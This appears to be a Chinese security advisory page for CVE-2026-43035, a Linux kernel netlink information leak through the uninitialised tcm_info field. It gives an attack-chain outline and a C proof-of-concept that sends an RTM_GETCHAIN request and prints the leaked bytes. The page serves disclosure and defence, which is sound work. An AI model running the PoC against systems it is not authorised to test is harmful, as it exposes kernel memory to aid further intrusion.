IPBUF安全漏洞报告
English
CVE-2026-43035 CVSS 5.5 中危

CVE-2026-43035 Linux内核信息泄露漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43035
漏洞类型
信息泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel信息泄露Netlink本地漏洞Memory Leak

漏洞概述

Linux内核中的net: sched: cls_api组件存在一个信息泄露漏洞。在构建netlink消息时,tc_chain_fill_node函数未能正确初始化struct tcmsg结构体中的tcm_info字段。由于该内存区域分配后未被清零,导致内核堆内存中的敏感数据通过这个4字节的字段泄露给用户空间。该漏洞允许本地低权限攻击者通过特定的系统调用获取内核内存信息,可能造成敏感数据泄露。

技术细节

该漏洞位于Linux内核的流量控制(tc)子系统中,具体涉及tc_chain_fill_node函数的实现。当用户空间程序通过Netlink套接字请求获取链信息时,内核会调用该函数构建响应消息。问题在于,tcmsg结构体中的tcm_info字段在赋值前未被初始化。由于内核堆分配通常不会自动清零(或者该特定路径使用了未清零的内存),该字段包含了先前堆操作遗留的数据指针或内容。当该消息被拷贝回用户空间时,这4字节的未初始化数据也随之泄露。攻击者可以通过反复发送请求并分析返回包中的tcm_info字段,利用这一侧信道推断内核堆布局或提取敏感信息,如加密密钥或内核指针地址,从而为后续的内核利用提供辅助信息。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获取本地低权限用户账号(PR:L),能够访问目标Linux系统。
STEP 2
2. 构造特制请求
攻击者利用Netlink套接字发送RTM_GETCHAIN请求,触发内核调用tc_chain_fill_node函数。
STEP 3
3. 触发内存泄露
内核在构建响应消息时,未初始化tcm_info字段,导致将未清零的内核堆内存数据包含在消息中。
STEP 4
4. 接收并分析数据
攻击者接收Netlink响应消息,提取并分析tcm_info字段中的4字节数据,获取内核内存信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Proof of Concept for CVE-2026-43035 // This PoC sends a netlink request to dump tc chains and checks the tcm_info field. // Compile with: gcc -o poc_cve2026_43035 poc_cve2026_43035.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> #define BUFFER_SIZE 4096 int main() { int sock_fd; struct sockaddr_nl sa; char buffer[BUFFER_SIZE]; struct nlmsghdr *nh; struct tcmsg *tcm; // Create Netlink Socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock_fd < 0) { perror("socket"); return -1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr *)&sa, sizeof(sa)); // Prepare Request Message (RTM_GETCHAIN) memset(buffer, 0, BUFFER_SIZE); nh = (struct nlmsghdr *)buffer; nh->nlmsg_type = RTM_GETCHAIN; // Request chain info nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nh->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); tcm = (struct tcmsg *)NLMSG_DATA(nh); tcm->tcm_family = AF_UNSPEC; // Send Request sendto(sock_fd, buffer, nh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); printf("Sent RTM_GETCHAIN request...\n"); // Receive Response int len = recv(sock_fd, buffer, BUFFER_SIZE, 0); if (len > 0) { nh = (struct nlmsghdr *)buffer; // Parse response to find tcm_info // Note: In a vulnerable kernel, tcm_info might contain non-zero heap data struct tcmsg *resp_tcm = (struct tcmsg *)NLMSG_DATA(nh); printf("Received response. tcm_info (potential leak): 0x%x\n", resp_tcm->tcm_info); if (resp_tcm->tcm_info != 0) { printf("[+] Vulnerability detected: tcm_info is not zero!\n"); } } close(sock_fd); return 0; }

影响范围

Linux Kernel (Versions prior to commits 1091b3c, 4ae5d23f, 71a3eda, 903c340, 906997e)

防御指南

临时缓解措施
建议立即更新系统内核以修复此漏洞。如果无法立即重启更新,应严格限制本地用户权限,减少非必要用户访问系统的机会,并监控异常的系统调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表